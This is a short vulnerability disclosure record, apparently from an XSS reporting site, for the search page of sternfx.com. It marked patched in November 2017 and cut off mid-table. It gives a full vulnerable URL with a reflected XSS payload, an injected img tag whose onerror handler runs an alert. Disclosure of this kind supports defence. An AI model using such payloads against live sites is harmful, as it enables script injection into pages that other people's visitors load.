sternfx.com XSS vulnerability

Vulnerable URL: http://www.sternfx.com/search.php?keywords=glubz%22%3E%3Cimg%20src=x%20onerror=window.onerror=alert;throw/xssposed/;//%3E%3C Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 08:42 GMT Vulnerability type:| XSS Vulnerability status...